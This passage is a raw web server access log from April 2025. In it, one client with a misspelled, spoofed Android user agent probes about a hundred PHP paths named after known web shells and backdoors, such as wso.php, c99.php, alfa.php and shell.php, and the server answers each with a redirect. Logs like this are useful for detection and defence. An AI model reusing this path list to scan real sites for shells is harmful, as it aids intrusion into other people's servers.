-0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [25/Apr/2025:21:33:30 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [25/Apr/2025:21:35:00 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [25/Apr/2025:21:35:59 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [25/Apr/2025:21:36:01 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "get_local:DCV" 185.7.214.130 - - [25/Apr/2025:21:49:33 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 51.195.129.164 - - [25/Apr/2025:22:04:14 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:04:18 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:04:22 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:04:25 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:04:28 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:04:31 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:04:33 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:04:36 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:04:39 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:04:44 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:04:46 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:04:49 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:04:53 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:04:56 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:04:59 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:05:03 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:05:12 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:05:18 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:05:21 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:05:24 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:05:29 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:05:34 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:05:36 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:05:39 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:05:41 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:05:45 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:05:49 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:05:53 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:05:56 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:05:58 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:00 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:03 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:05 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:07 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:10 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:13 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:16 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:18 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:20 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:23 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:26 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:28 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:30 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:33 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:37 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:40 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:42 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:44 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:46 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:48 -0400] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:51 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:54 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:56 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:58 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:06:59 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:02 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:04 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:06 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:09 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:11 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:13 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:15 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:17 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:20 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:22 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:24 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:26 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:28 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:31 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:34 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:37 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:40 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:42 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:44 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:45 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:47 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:49 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:51 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:53 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:55 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:07:58 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:08:01 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:08:03 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:08:06 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:08:09 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:08:13 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:08:16 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:08:20 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:08:23 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:08:26 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:08:30 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:08:32 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:08:35 -0400] "GET /87.php HTTP/1.1" 301 795 